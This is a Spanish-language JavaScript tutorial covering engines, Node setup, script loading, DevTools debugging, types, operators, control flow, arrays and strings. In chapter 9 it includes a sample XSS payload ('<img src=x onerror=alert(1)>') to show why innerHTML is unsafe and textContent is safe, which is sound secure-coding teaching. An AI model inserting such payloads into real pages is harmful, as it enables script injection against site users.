JavaScript moderno de cero a experto
El lenguaje que hace viva la web: fundamentos sólidos, prototipos, asincronía profunda, Node.js, el navegador y su DOM, hasta construir una SPA sin frameworks conectada a una API REST real.
1 · Qué es JavaScript hoy
Básico ~12 minHistoria mínima, motores, dónde vive el lenguaje y cómo se evoluciona con ECMAScript.
En 1995 Brendan Eich escribió la primera versión de este lenguaje en Netscape en unas pocas semanas. Se llamó Mocha, luego LiveScript y finalmente JavaScript, un nombre comercial que aprovechaba la popularidad de Java. La semejanza termina ahí: Java y JavaScript son lenguajes distintos con filosofías opuestas. En 1997 el lenguaje fue estandarizado por Ecma International bajo el nombre ECMAScript (abreviado ES), que es el nombre oficial del estándar; «JavaScript» es el nombre comercial con el que todos lo conocemos.
Los motores: donde el código se vuelve realidad
JavaScript es un estándar; quien realmente ejecuta tu código es un motor escrito en C++ que compila el fuente a instrucciones de máquina mientras corre (compilación JIT, la conoceremos a fondo en el capítulo de rendimiento).
| Motor | Desarrollador | Dónde lo encuentras |
|---|---|---|
V8 | Chrome, Edge, Opera, Node.js, Deno | |
SpiderMonkey | Mozilla | Firefox (el motor original de Eich) |
JavaScriptCore | Apple | Safari, Bun |
El estándar garantiza que el mismo programa se comporte igual en todos; las diferencias reales están en el rendimiento y en APIs del entorno, no en el lenguaje.
ECMAScript y el ritmo anual
Desde 2015 (la famosa ES2015 o ES6, la mayor revisión de su historia) el estándar publica una edición nueva cada junio. Las propuestas pasan por el comité TC39 en etapas numeradas:
| Etapa | Nombre | Significado práctico |
|---|---|---|
| 0 | Strawman | Idea suelta; nadie debería usarla |
| 1 | Proposal | Caso de uso formal aceptado por el comité |
| 2 | Draft | Especificación inicial; aparecen transpiladores experimentales |
| 3 | Candidate | Casi lista; los navegadores la implementan detrás de flags |
| 4 | Finished | Aprobada: entra en la próxima edición anual |
Cuando digamos «esto es ES2024» o «ES2025» nos referimos a la edición donde la propuesta llegó a etapa 4. En este manual usamos sintaxis ES2024/2025, disponible en navegadores actuales y Node 22 LTS.
Tu primer programa, dos veces
La misma línea funciona en cualquier entorno. Primero en el navegador: abre las herramientas de desarrollador (F12), ve a la pestaña Console y escribe:
console.log("Hola desde el navegador");
// Hola desde el navegador
Luego en el servidor, con Node.js instalado (siguiente capítulo):
$ node -e "console.log('Hola desde Node')"
Hola desde Node
Nada que compilar, nada que instalar además del runtime: ese ciclo corto escribir-ejecutar-observar es parte del encanto del lenguaje.
Dónde corre tu JavaScript en 2026
| Entorno | Herramientas típicas | Ejemplo real |
|---|---|---|
| Navegador web | DOM, fetch, Web APIs | Cualquier aplicación interactiva |
| Servidor / API | Node.js, Express, Fastify | API REST (como la que construimos en PHP) |
| Escritorio | Electron, Tauri | VS Code, Slack, Discord |
| Móvil | React Native, Capacitor | Ignyte, Instagram parcial |
| Extensiones | VS Code extensions, WebExtensions | Plugins de editores y navegadores |
| IoT / embebidos | Espruino, Johnny-Five | Robótica educativa |
Por qué aprenderlo ahora
- Es el único lenguaje que los navegadores ejecutan nativamente: si hay web, hay JavaScript.
- npm es el repositorio de paquetes más grande del mundo del software.
- Un solo lenguaje para frontend y backend reduce la fricción de aprender.
- Es la puerta de entrada natural a React, Vue, Angular y Svelte (meta final de este manual).
Puntos clave
- JavaScript ≠ Java: nombres parecidos, lenguajes distintos.
- El estándar es ECMAScript; los motores (V8, SpiderMonkey, JSC) lo implementan.
- Desde ES2015 hay una edición anual gestionada por TC39 en etapas 0–4.
- Corre en navegador, servidor, escritorio, móvil y más.
2 · Herramientas: Node.js, editor y navegador
Básico ~14 minPrepara el mismo entorno en Windows y Linux: runtime LTS, VS Code y verificación paso a paso.
Para este manual necesitas tres piezas: el runtime Node.js (para ejecutar JS fuera del navegador), un editor (VS Code) y un navegador moderno con sus herramientas de desarrollador (Chrome, Edge o Firefox). Todo es gratuito.
LTS frente a Current
| Línea | Cadencia | ¿Para quién? |
|---|---|---|
| LTS (par) | 30 meses de soporte | Producción y aprendizaje: la recomendada |
| Current (impar) | novedades al día | Probar funciones de última hora |
Instala la línea 22 LTS: es sobre la que se apoyan los ejemplos del manual y la mayoría del ecosistema npm.
Windows: instalador oficial
- Descarga el instalador
.mside Node 22 LTS desdenodejs.org. - Siguiente, siguiente… deja marcadas todas las casillas (incluye npm y el acceso al PATH).
- Al terminar, abre PowerShell o CMD y verifica:
C:\> node -v
v22.17.0
C:\> npm -v
10.9.2
Si PowerShell dice que «node no se reconoce», cierra y vuelve a abrir la ventana: el PATH se refresca por sesión.
Linux: nvm, el gestor recomendado
En Linux evitamos el paquete de la distribución (suele estar desactualizado) y usamos nvm, que permite convivir varias versiones de Node por usuario, sin sudo:
# Instalar nvm (revisa la version mas reciente en github.com/nvm-sh/nvm)
$ curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.40.3/install.sh | bash
# Recargar el shell y verificar nvm
$ source ~/.bashrc
$ nvm --version
0.40.3
# Instalar y activar la linea LTS 22
$ nvm install --lts
$ nvm alias default lts/*
$ node -v
v22.17.0
Si prefieres apt, existe el repositorio de NodeSource (una sola línea que registra la
fuente y luego sudo apt install nodejs). Con nvm basta: cambiar de versión es
un simple nvm use 20.
.nvmrc; entrar a la carpeta y ejecutar nvm use cambia todo el entorno.
VS Code y extensiones mínimas
| Extensión | Para qué | Obligatoria |
|---|---|---|
| Prettier | Formato automático al guardar | Recomendada |
| ESLint | Errores y malas prácticas en vivo | Recomendada |
| Error Lens | Muestra el error junto a la línea | Opcional |
| Live Server | Servidor local con recarga automática | Útil desde el cap. 3 |
El REPL: calculadora con superpoderes
Escribe node sin argumentos y entras al REPL (Read-Eval-Print Loop),
ideal para experimentar:
$ node
Welcome to Node.js v22.17.0.
Type ".help" for more information.
> 2 ** 10
1024
> [1, 2, 3].map(n => n * 10)
[ 10, 20, 30 ]
> .exit
Tab completa funciones, flecha arriba repite historial y
.exit (o Ctrl+D) sale. En el navegador, la pestaña Console es el REPL equivalente.
Primer archivo y estructura del curso
Crea la carpeta de trabajo que usaremos durante todo el manual:
$ mkdir -p js-curso/src
$ cd js-curso
$ echo "console.log('Mi primer script en archivo');" > src/app.js
$ node src/app.js
Mi primer script en archivo
Estructura propuesta (crecerá con los capítulos):
js-curso/src/— scripts y módulos de práctica.js-curso/web/— páginas HTML con JS en el navegador (parte VII).js-curso/tests/— pruebas con Vitest (cap. 38).
Lista de verificación
node -vmuestra v22.x ✔npm -vmuestra 10.x ✔- REPL ejecuta expresiones ✔
node src/app.jsimprime tu mensaje ✔- F12 abre DevTools en tu navegador ✔
Puntos clave
- Node LTS (22) es la base del manual; Current solo para explorar.
- Windows: instalador .msi; Linux: nvm por usuario, sin sudo.
- npm viene incluido con Node: será nuestro gestor de paquetes (cap. 37).
- REPL de Node y Console del navegador: laboratorios instantáneos.
3 · Anatomía de un script
Básico ~11 minCómo el navegador carga tu JS: script clásico, defer, async y módulos ES.
Un mismo archivo .js puede llegar al navegador de varias maneras, y la
diferencia importa: afecta cuándo se ejecuta, qué puede hacer y cómo interactúa con el HTML.
Tres formas de incluir JavaScript
| Forma | Ejemplo | Veredicto |
|---|---|---|
| Atributos de evento | onclick="..." en el HTML | Evítala: mezcla responsabilidades |
| Script inline | code entre etiquetas script | Válido para ejemplos mínimos |
| Archivo externo | script con atributo src | La recomendada: cacheable y reutilizable |
En un archivo externo, la ruta del atributo src es
relativa a la página; el navegador descarga, analiza y ejecuta el código una sola vez por URL
(luego sirve la copia en caché).
El problema del orden: clásico, defer y async
Por defecto, un script clásico bloquea el parseo del HTML: el navegador deja de construir la página hasta descargar y ejecutar. Dos atributos cambian ese comportamiento:
| Modo | Descarga | Ejecución | Orden garantizado |
|---|---|---|---|
| clásico | bloqueante | inmediata, antes de seguir parseando | Sí |
defer | en paralelo | tras parsear todo el DOM | Sí, en orden de aparición |
async | en paralelo | en cuanto termina de descargar | No: quien llega primero |
- defer: para scripts que tocan el DOM (casi todos los tuyos).
- async: para scripts independientes (analítica, contadores).
Regla práctica moderna: usa type="module", que ya
implica defer.
Módulos ES: el estándar actual
Añadir type="module" cambia las reglas del juego:
- Modo estricto implícito: no puedes crear variables globales por accidente.
- Ámbito propio: tus variables no contaminan el objeto global window.
- Import/export: puedes partir el código en archivos (cap. 12).
- Defer implícito: se ejecuta tras el parseo, como defer.
- Rutas obligatorias: importar exige rutas completas con extensión (./util.js).
// web/main.js — se ejecuta despues de que el DOM esta listo
const titulo = document.querySelector("h1");
console.log("Encontre:", titulo?.textContent ?? "sin h1");
function saludar(quien) {
console.log(`Hola, ${quien}`);
}
saludar("curso JavaScript");
Y en el HTML lo conectas así (etiquetas descritas en texto para no confundir): un elemento
<head> contiene <script type="module" src="./main.js"></script>.
npx serve);
abrir el archivo con doble clic (file://) dispara errores CORS. Hábito desde hoy: siempre
servidor local.
La familia console
| Método | Uso típico |
|---|---|
log / info / warn / error | Mensajes por nivel; error apila el stack trace |
table(datos) | Arrays u objetos como tabla interactiva |
dir(obj) | Inspección profunda de un objeto |
time(etiqueta) / timeEnd(etiqueta) | Cronometrar una sección |
group(etiqueta) / groupEnd() | Agrupar mensajes jerárquicamente |
count(etiqueta) | Contar cuántas veces pasa por ahí |
assert(cond, msg) | Error solo si la condición falla |
trace() | Imprimir el stack trace actual sin detenerse |
console.time("calculo");
console.group("pedido #7");
const items = [
{ sku: "A1", precio: 12.5 },
{ sku: "B2", precio: 8.0 },
];
console.table(items);
const total = items.reduce((s, i) => s + i.precio, 0);
console.assert(total > 0, "el total no puede ser cero");
console.log("total:", total);
console.groupEnd();
console.timeEnd("calculo");
// calculo: 0.31ms
Puntos clave
- Prefiere archivos externos; evita atributos onclick en HTML.
- defer respeta orden y espera al DOM; async no garantiza nada de orden.
- type="module": estricto, ámbito propio, defer implícito — opción por defecto.
- Los módulos exigen servidor local: Live Server o npx serve.
- console tiene más de diez métodos útiles más allá de log.
4 · Consola y primera depuración
Básico ~13 minDevTools a fondo: leer errores, breakpoints y el panel Sources.
Depurar imprimiendo mensajes sirve, pero los profesionales usan el depurador: pausan la ejecución, inspeccionan variables vivas y recorren el código línea a línea. Este capítulo te da el flujo completo en Chrome/Edge (Firefox es casi idéntico; Safari usa su menú Desarrollador).
Abrir DevTools
| Objetivo | Atajo Windows/Linux | macOS |
|---|---|---|
| Panel completo | F12 o Ctrl+Shift+I | Cmd+Opt+I |
| Solo Console | Ctrl+Shift+J | Cmd+Opt+J |
| Inspeccionar elemento | Ctrl+Shift+C | Cmd+Opt+C |
Console: formato y utilidades que casi nadie usa
// Placeholders estilo printf
console.log("Usuario %s hizo %d pedidos", "ana", 3);
// Estilos CSS en el mensaje (%c abre el siguiente segmento estilizado)
console.log("%c ALERTA ", "background:#b45309;color:#fff;padding:2px 6px;border-radius:4px");
// dir muestra el arbol interno (ideal con nodos DOM)
const nodo = document.body;
console.log(nodo); // resumen serializado
console.dir(nodo); // propiedades navegables
// trace: donde estoy sin detener la ejecucion
function cobrar(monto) {
if (monto === 0) console.trace("cobro con monto cero");
}
cobrar(0);
time/timeEnd y group/groupEnd ya los
viste en el capítulo anterior; combínalos con count para detectar llamadas repetidas
inesperadas (por ejemplo, un efecto que corre de más).
Leer un error como profesional
const pedido = null;
console.log(pedido.cliente);
// Uncaught TypeError: Cannot read properties of null (reading 'cliente')
// at ejemplo.js:2:19
- Tipo del error (TypeError): qué categoría de problema.
- Mensaje: operación imposible y sobre qué valor.
- Stack trace: archivo:línea:columna exactos, con la cadena de llamadas que llevó ahí (de abajo hacia arriba).
Errores que verás mil veces y su causa habitual:
| Error | Causa típica |
|---|---|
x is not defined | Typo en el nombre o falta importar |
Cannot read properties of undefined/null | Acceder a propiedad de algo que no existe (usa ?.) |
x is not a function | Llamaste algo que no era función (nombre reutilizado) |
Unexpected token / Unexpected end of input | Error de sintaxis: llave o paréntesis sin cerrar |
Breakpoints en Sources
- Abre la pestaña Sources; a la izquierda están tus archivos (Ctrl+P para buscarlos).
- Haz clic en el número de línea sospechosa: aparece un punto azul (breakpoint).
- Recarga o reproduce la acción; la ejecución se pausa ahí.
- Inspecciona: pasa el cursor sobre variables, mira los paneles Scope (valores vivos), Watch (expresiones vigiladas) y Call Stack.
- Avanza con los botones: F10 step over, F11 step into, Shift+F11 step out, F8 continuar.
- Clic derecho en un breakpoint → Edit breakpoint → condición: se pausa solo si la expresión es verdadera.
Mini ejercicio guiado
Esta función debe sumar los pares del arreglo, pero devuelve mal. Encuéntralo con breakpoint:
function sumaPares(nums) {
let total = 0;
for (let i = 0; i <= nums.length; i++) {
if (nums[i] % 2 === 0) total += nums[i];
}
return total;
}
console.log(sumaPares([1, 2, 3, 4])); // esperado 6, imprime NaN
- Breakpoint en la línea del if; F10 paso a paso.
- En la última vuelta ves
i === nums.lengthynums[i] === undefined: la condición debía seri < nums.length. - undefined % 2 produce NaN y contamina total. Corrige, guarda, recarga: 6.
Network: primer vistazo
El panel Network lista cada petición que hace la página. Útil ya ahora:
- Filtra por Fetch/XHR cuando empieces a consumir APIs (parte VII).
- Columna Status: 200 ok, 404 recurso inexistente, 500 error del servidor.
- Pestaña Throttling simula 3G lento: prueba tu página real.
Puntos clave
- Lee el stack trace de abajo hacia arriba para hallar el origen.
- Breakpoints condicionales evitan pausas infinitas en bucles grandes.
- Scope/Watch/Call Stack responden «qué valor hay» y «cómo llegué aquí».
- Network será tu mejor amigo al consumir APIs REST.
5 · Variables y tipos
Básico ~15 minlet/const/var, los siete primitivos, typeof y la coerción explicada sin miedo.
let, const y el var legacy
Desde ES2015 declara con let (valor cambiable) y const
(enlace fijo). Ambos tienen ámbito de bloque. var existe por compatibilidad:
su ámbito es de función y se «eleva» (hoisting), fuente clásica de bugs.
| Ámbito | Reasignar | Redeclarar | Hoisting | |
|---|---|---|---|---|
const | bloque | No | No | Zona muerta |
let | bloque | Sí | No | Zona muerta |
var | función | Sí | Sí (!) | Elevada como undefined |
function ejemplo() {
if (true) {
var x = 1;
let y = 2;
}
console.log(x); // 1 — var ignora el bloque
// console.log(y); // ReferenceError: y vive solo en el bloque
}
ejemplo();
const lista = [1, 2];
lista.push(3); // permitido: mutamos el CONTENIDO
// lista = []; // TypeError: el ENLACE es constante
console.log(lista); // [1, 2, 3]
La zona muerta temporal (TDZ)
Entre el inicio del bloque y la línea de declaración, una variable let/const está en la Temporal Dead Zone: tocarla lanza error en vez de dar undefined silencioso.
{
// console.log(estado); // ReferenceError: Cannot access 'estado' before initialization
const estado = "activo";
console.log(estado); // activo
}
El TDZ convierte errores sutiles en fallos inmediatos y visibles: una mejora real frente a var.
Los siete tipos primitivos
| Tipo | Ejemplo | Nota |
|---|---|---|
number | 42, 3.14, -1e9 | Punto flotante de 64 bits (IEEE 754) |
bigint | 9007199254740993n | Enteros arbitrarios; sufijo n |
string | "hola", 'hola', `hola` | Las plantillas invertidas interpolan ${expr} |
boolean | true / false | Base de todas las decisiones |
undefined | let x; | «No tiene valor todavía» |
null | let x = null; | «Vacío a propósito» (tú lo asignas) |
symbol | Symbol("id") | Identificadores únicos; detalle en cap. 16 |
number no distingue enteros y decimales: todo es float64. Por eso
0.1 + 0.2 !== 0.3 da true (el resultado es 0.30000000000000004). Para dinero,
trabaja en céntimos o usa librerías decimales; para enteros gigantes, BigInt.
Y Number.MAX_SAFE_INTEGER marca el límite donde 1 ya no se distingue.
console.log(0.1 + 0.2 === 0.3); // false
console.log(Number.MAX_SAFE_INTEGER + 1 === Number.MAX_SAFE_INTEGER + 2); // true: colapso
const enorme = 12345678901234567890n;
// console.log(enorme + 1); // TypeError: no mezclar bigint con number
typeof y sus rarezas
| Expresión | Resultado | Por qué |
|---|---|---|
typeof null | "object" | Bug histórico de 1995, inamovible por compatibilidad |
typeof function(){} | "function" | Única excepción invocable |
typeof noExiste | "undefined" | No lanza error con variables no declaradas |
typeof [] | "object" | Los arrays son objetos; usa Array.isArray() |
Coerción: truthiness y las trampas del ==
Cualquier valor convertido a boolean da verdadero, salvo esta lista cerrada de falsy:
false · 0 · -0 · 0n · "" · null · undefined · NaN
if ("") console.log("nunca");
const invitados = []; // array vacio es TRUTHY (es un objeto)
if (!invitados.length) console.log("sin invitados");
// == convierte antes de comparar: resultados infames
console.log("" == 0); // true
console.log("0" == 0); // true
console.log("" == "0"); // false (!)
console.log(null == undefined); // true (pareja especial)
console.log(null == 0); // false
console.log(NaN == NaN); // false: NaN no es igual ni a si mismo
// === compara tipo y valor: cero sorpresas
console.log("5" === 5); // false
console.log(Number("5") === 5); // true: conversion explicita
Convención profesional: siempre ===; la única
excusa aceptada es x == null para probar «null o undefined» a la vez.
Conversión explícita cuando sí hace falta
Number("42"); // 42
Number(""); // 0 (cuidado)
Number("12abc"); // NaN
parseInt("12abc", 10); // 12: lee prefijo numerico
String(255); // "255"
Boolean("hola"); // true
+"3.5"; // 3.5 (atajo unario comun)
`${255}`; // "255" via plantilla
Puntos clave
- Declara con const por defecto y let si reasignas; olvida var.
- TDZ: usar antes de declarar falla fuerte y pronto.
- number = float64: cuidado con dinero y enteros grandes (BigInt).
- Falsy: false, 0, -0, 0n, "", null, undefined, NaN — nada más.
- === siempre; == solo para el truco x == null.
6 · Operadores sin sorpresas
Básico ~14 minAritmética, ternarios, encadenamiento opcional, nullish, spread/rest y desestructuración.
Aritméticos y su trampa clásica
7 % 3; // 1 resto: util para par/impar (n % 2 === 0)
2 ** 10; // 1024 potencia
let precio = 100;
precio += 18 * 0.18; // compuesto: += -= *= /= %= **=
precio.toFixed(2); // "132.40" — ojo: devuelve STRING
let i = 5;
i++; // posfijo: devuelve ANTES de incrementar
++i; // prefijo: incrementa y DESPUES devuelve
// Regla del manual: nunca mezcles incremento y uso en la misma expresion.
+ concatena si hay un string: "5" + 3 → "53", mientras
"5" - 3 → 2 (el - fuerza número). Convierte explícito con Number() antes de operar.
Asignaciones lógicas modernas (ES2021)
config.tema ??= "claro"; // asigna SOLO si era null/undefined
contador ||= 1; // asigna si era falsy
cache &&= limpiar(cache); // asigna solo si era truthy
Ternario encadenado, legible
function nota(n) {
return n >= 18 ? "AD"
: n >= 14 ? "A"
: n >= 11 ? "B"
: "C";
}
console.log(nota(15)); // A
Con más de tres ramas considera un objeto-despacho (lo veremos en control de flujo) o switch: la legibilidad manda.
Encadenamiento opcional ?.
const pedido = { cliente: { nombre: "Ana" } };
pedido.cliente?.nombre; // "Ana"
pedido.envio?.direccion; // undefined — sin TypeError
pedido.funcion?.(); // llama solo si funcion existe
const clave = "cliente";
pedido?.[clave]?.nombre; // tambien con corchetes
Nullish ?? contra ||
Ambos dan valor por defecto, pero || salta cualquier falsy (¡incluido
0 y ""), mientras ?? solo salta null y undefined:
| Valor | v || 10 | v ?? 10 |
|---|---|---|
0 | 10 (pierde tu cero) | 0 (correcto) |
"" | 10 | "" |
null | 10 | 10 |
undefined | 10 | 10 |
const cantidad = input.cantidad ?? 1; // respeta un 0 legitimo
const titulo = usuario.apodo || "Anonimo"; // aqui || SI es correcto: apodo vacio molesta
Spread y rest: tres puntos con dos caras
// SPREAD: expandir
const base = [1, 2];
const completa = [...base, 3, 4]; // [1, 2, 3, 4]
const fusion = { ...base_cfg(), activo: true }; // sobrescribe al final
function base_cfg() { return { tema: "oscuro" }; }
// REST: recolectar sobrantes
function sumar(...numeros) {
return numeros.reduce((a, b) => a + b, 0);
}
sumar(1, 2, 3, 4); // 10
const { password, ...perfilPublico } = usuario; // rest en objetos
Cuidado: spread copia superficialmente. Los objetos anidados siguen compartidos (copia profunda nativa: structuredClone, cap. 23).
Desestructuración: extraer con estilo
const [primero, , tercero = 30] = [10, 20]; // primero=10, tercero=30
const { nombre, rol = "invitado", id: userId } = { nombre: "Ana", id: 7 };
// anidada
const respuesta = { data: { user: { email: "ana@x.pe" } }, status: 200 };
const { data: { user: { email } } } = respuesta;
// en parametros: patron "options"
function crearPost({ titulo, autor = "webcode", tags = [] }) {
return `${titulo} — por ${autor} (${tags.length} etiquetas)`;
}
crearPost({ titulo: "Hola mundo", tags: ["js"] });
Precedencia: la tabla mínima honesta
| Prioridad | Operadores |
|---|---|
| 1 | () · agrupación — gana siempre |
| 2 | ? . [] llamadas, acceso a miembros |
| 3 | ** |
| 4 | * / % |
| 5 | + - |
| 6 | < > <= >= in instanceof |
| 7 | === !== == != |
| 8 | && luego || luego ?? |
| 9 | = += ??= … asignaciones (al final) |
Cuando dudes, paréntesis: cuestan cero y ahorran horas. Nota: mezclar ?? con || o && exige paréntesis obligatorios (error de sintaxis si no).
Puntos clave
- + concatena con strings; convierte antes de operar.
- ??= para defaults reales; ?? respeta 0 y "".
- ?. elimina la cascada de TypeErrors en datos incompletos.
- Spread copia superficial; rest recoge parámetros variables.
- Desestructuración con renombre y defaults: firma de código moderno.
7 · Control de flujo
Básico ~13 minif/else, switch moderno, el patrón de despacho por objeto y los cuatro bucles.
if / else if / else
const stock = 3;
if (stock === 0) {
console.log("Agotado");
} else if (stock <= 3) {
console.log("Quedan pocas unidades"); // esta rama corre
} else {
console.log("Disponible");
}
// if sin llaves: solo la siguiente sentencia. Usalo con moderacion.
if (stock === 1) console.warn("ultima unidad!");
switch: agrupar casos sin caer en el falloff
El switch clásico compara con ===. Los casos vacíos «caen» al siguiente
(fallthrough), útil para agrupar pero fuente clásica de bugs si olvidas el break:
function tamano(letra) {
switch (letra) {
case "S":
case "M": // S y M comparten salida
return "estandar";
case "L":
case "XL":
return "grande";
default:
return "desconocido";
}
}
console.log(tamano("M")); // estandar
console.log(tamano("X")); // desconocido
case sin break ni
return ejecuta también el caso siguiente. ESLint lo marca con la regla
no-fallthrough.El «match» de JavaScript: despacho por objeto
JS no tiene match como PHP 8 o Rust, pero un objeto de funciones hace el mismo papel, con mejor rendimiento que una cadena de if y sin fallthrough posible:
const acciones = {
sumar: (a, b) => a + b,
restar: (a, b) => a - b,
};
function calcular(operacion, a, b) {
const fn = acciones[operacion] ?? (() => { throw new Error(`op invalida: ${operacion}`); });
return fn(a, b);
}
console.log(calcular("sumar", 2, 3)); // 5
Variante frecuente: el objeto guarda valores directos
({ es: "Español", en: "English" }) para traducciones o mapeos simples.
Los cuatro bucles y cuándo usar cada uno
| Bucle | Ideal para | Ojo con |
|---|---|---|
for (let i = 0; ...) | Índices numéricos, pasos controlados | Condición off-by-one |
for...of | Recorrer valores de arrays, strings, Map, Set | No funciona sobre objetos planos |
for...in | Casi nunca directo: claves de objetos | Incluye propiedades heredadas |
while / do...while | Repetir hasta que cambie una condición | Bucles infinitos |
const carrito = [{ nombre: "cafe", precio: 18 }, { nombre: "te", precio: 9 }];
// for...of: la eleccion por defecto para listas
for (const item of carrito) console.log(item.nombre);
// for clasico cuando necesitas el indice O saltas elementos
for (let i = 0; i < carrito.length; i += 2) console.log(i, carrito[i].nombre);
// for...in sobre objetos planos: filtrar herencia con hasOwnProperty
const config = { tema: "oscuro", idioma: "es" };
for (const clave in config) {
if (Object.hasOwn(config, clave)) console.log(clave, "=", config[clave]);
}
Object.hasOwn() (ES2022) sustituye al antiguo
obj.hasOwnProperty(): funciona incluso con objetos creados con
Object.create(null).
break, continue y etiquetas
// continue salta a la siguiente vuelta; break corta el bucle
for (const n of [4, 7, -1, 9]) {
if (n < 0) { console.log("precio invalido:", n); break; }
if (n % 2 !== 0) continue;
console.log("par:", n); // imprime solo 4
}
// Etiquetas: para salir de bucles anidados de golpe (uso puntual)
externo:
for (const fila of [[1, 2], [3, 4]]) {
for (const celda of fila) {
if (celda === 3) break externo;
console.log(celda); // 1, 2
}
}
Puntos clave
- switch compara con ===: cuidado con tipos mezclados.
- El fallthrough agrupa casos, pero cada case debe terminar en break/return.
- Despacho por objeto: el reemplazo idiomático del match.
- for...of para valores; for...in casi siempre requiere Object.hasOwn.
8 · Arrays esenciales
Básico ~15 minMutadores contra no-mutadores, búsqueda, ordenación segura y las novedades ES2023–2024.
const precios = [12.5, 8, 30];
precios.length; // 3
precios[0]; // 12.5
precios.at(-1); // 30 — indices negativos desde el final
precios[99]; // undefined — NO lanza error
precios.length = 1; // trunca! length es modificable
Dos familias: mutadores y no-mutadores
| Familia | Métodos | Efecto |
|---|---|---|
| Mutadores (cambian el original) | push pop shift unshift splice sort reverse fill | Rápidos, peligrosos si compartes la referencia |
| No-mutadores (devuelven nuevo) | map filter slice concat flat flatMap toSorted toReversed with | Base del estilo funcional y de React |
const pila = [1, 2];
pila.push(3); // [1,2,3] agrega al final
pila.pop(); // 3 quita del final
pila.unshift(0); // [0,1,2] agrega al inicio
pila.shift(); // 0
// splice: corta/inserta donde quieras (mutador todopoderoso)
let letras = ["a", "b", "c", "d"];
letras.splice(1, 2, "X"); // desde indice 1 quita 2 e inserta "X"
console.log(letras); // ["a","X","d"]
// slice: copia un rango sin tocar nada (no-mutador)
const copia = letras.slice(0, 2); // ["a","X"]
Búsqueda y verificación
const users = [
{ id: 1, nombre: "ana", activo: true },
{ id: 2, nombre: "luis", activo: false },
];
users.find(u => u.activo); // {id:1,...} primer coincidente o undefined
users.findIndex(u => u.id === 2); // 1 (-1 si no existe)
users.some(u => u.activo); // true (al menos uno)
users.every(u => u.activo); // false (todos?)
users.includes(2); // primitivos por igualdad estricta
Ordenación: el comparador obligatorio con números
sort() convierte a texto por defecto: [10, 2, 1] queda
[1, 10, 2]. Para números, pasa un comparador:
[10, 2, 1].sort((a, b) => a - b); // [1,2,10] ascendente
[10, 2, 1].sort((a, b) => b - a); // descendente
["Ávila", "ana", "Lima"].sort((x, y) =>
x.localeCompare(y, "es", { sensitivity: "base" })
); // ana, Ávila, Lima — español correcto
Los ocho métodos inmutables de ES2023
ES2023 añadió contrapartes que no tocan el original — ideales para frameworks con detección de cambios:
| Mutador | Inmutable (ES2023) |
|---|---|
| sort() | toSorted() |
| reverse() | toReversed() |
| splice() | toSpliced() |
| arr[i] = v | with(i, v) |
const original = [3, 1, 2];
const ordenada = original.toSorted();
console.log(original, ordenada); // [3,1,2] [1,2,3]
const conCero = original.with(0, 99); // [99,1,2]
Aplanar y agrupar
[[1, 2], [3]].flat(); // [1,2,3]
[[1, [2]]].flat(Infinity); // aplanado profundo
[1, 2, 3].flatMap(n => [n, n * 10]); // [1,10,2,20,3,30]
// Object.groupBy (ES2024): agrupacion nativa sin reduce manual
const inventario = [
{ tipo: "fruta", nombre: "lucuma" },
{ tipo: "verdura", nombre: "zapallo" },
{ tipo: "fruta", nombre: "chirimoya" },
];
const grupos = Object.groupBy(inventario, i => i.tipo);
// { fruta: [lucuma, chirimoya], verdura: [zapallo] }
reduce: el cuchillo suizo (con mesura)
const montos = [100, 250, 40];
const total = montos.reduce((acum, m) => acum + m, 0); // 390
// reduce tambien construye objetos, pero cuando la logica crece
// prefiere un for...of claro antes que un reduce ilegible.
Puntos clave
- at(-1) para el último elemento; length se puede truncar.
- Números SIEMPRE con comparador (a, b) => a - b.
- toSorted/toReversed/toSpliced/with: la familia inmutable ES2023.
- Object.groupBy (ES2024) elimina el reduce-agrupador manual.
9 · Cadenas y plantillas literales
Básico ~12 minBackticks e interpolación, los métodos que de verdad usas a diario e Intl para español.
Tres comillas, una recomendación
const simple = 'comillas simples';
const doble = "comillas dobles";
const nombre = "Percy";
const plantilla = `Hola, ${nombre} — total: ${(19 * 3).toFixed(2)} soles`;
// multilinea sin trucos
const sql = `
SELECT id, titulo
FROM posts
WHERE publicado = true
`;
console.log(plantilla);
// Hola, Percy — total: 57.00 soles
Las plantillas literales (backticks)
interpolan cualquier expresión con ${...}, respetan saltos de línea y son la
base de las tagged templates que veremos con librerías como styled-components.
Los métodos del día a día
| Método | Ejemplo | Resultado |
|---|---|---|
| includes / startsWith / endsWith | "javascript".includes("script") | true |
| indexOf / lastIndexOf | "banana".indexOf("na") | 2 (-1 si no está) |
| slice | "frontend".slice(0, 6) | "fronte" (acepta negativos) |
| replaceAll | "a-b-c".replaceAll("-", "+") | "a+b+c" |
| split / join | "a,b".split(",").join(" | ") | "a | b" |
| trim / trimStart / trimEnd | " hola ".trim() | "hola" |
| padStart / padEnd | "7".padStart(3, "0") | "007" (correlativos!) |
| repeat / at | "ab".repeat(2) · "hola".at(-1) | "abab" · "a" |
| toUpperCase / toLowerCase | "Js".toLowerCase() | "js" |
// replace con string solo cambia UNO; replaceAll cambia todos:
"a-b-c".replace("-", "+"); // "a+b-c"
"a-b-c".replaceAll("-", "+"); // "a+b+c"
Formateo local con Intl (es-PE)
Nada de concatenar soles a mano ni inventar fechas: el objeto global Intl ya formatea según configuración regional:
const soles = new Intl.NumberFormat("es-PE", { style: "currency", currency: "PEN" });
soles.format(1234.5); // "S/ 1,234.50"
const corto = new Intl.NumberFormat("es-PE", { notation: "compact" });
corto.format(1250000); // "1,3 M"
const fecha = new Date(2026, 7, 30); // mes 7 = agosto (0-indexado!)
new Intl.DateTimeFormat("es-PE", { dateStyle: "long" }).format(fecha);
// "30 de agosto de 2026"
Date los meses van de 0 a 11. El error
«off-by-one-month» persigue a toda generación de desarrolladores JS.Construyendo HTML seguro (adelanto del cap. 35)
const usuario = '<img src=x onerror=alert(1)>';
// PELIGROSO: inyectar texto del usuario como HTML
// elemento.innerHTML = `Hola ${usuario}`;
// SEGURO: textContent siempre escapa
const saludo = document.createElement("span");
saludo.textContent = `Hola ${usuario}`; // se muestra el texto literal
Comparación y normalización
"café" === "cafe\u0301"; // false — dos formas Unicode distintas!
"café".normalize() === "cafe\u0301".normalize(); // true tras normalizar NFC
// orden alfabético en español
["ñandu", "nariz"].sort((a, b) => a.localeCompare(b, "es"));
// ["nariz", "ñandu"] — la ñ va despues de la n
Puntos clave
- Backticks por defecto: interpolación + multilínea gratis.
- replace cambia uno; replaceAll cambia todos.
- Intl.NumberFormat/DateTimeFormat es-PE: moneda, compactos y fechas nativas.
- Meses de Date: 0–11. Normaliza strings antes de comparar Unicode.
10 · Funciones y closures
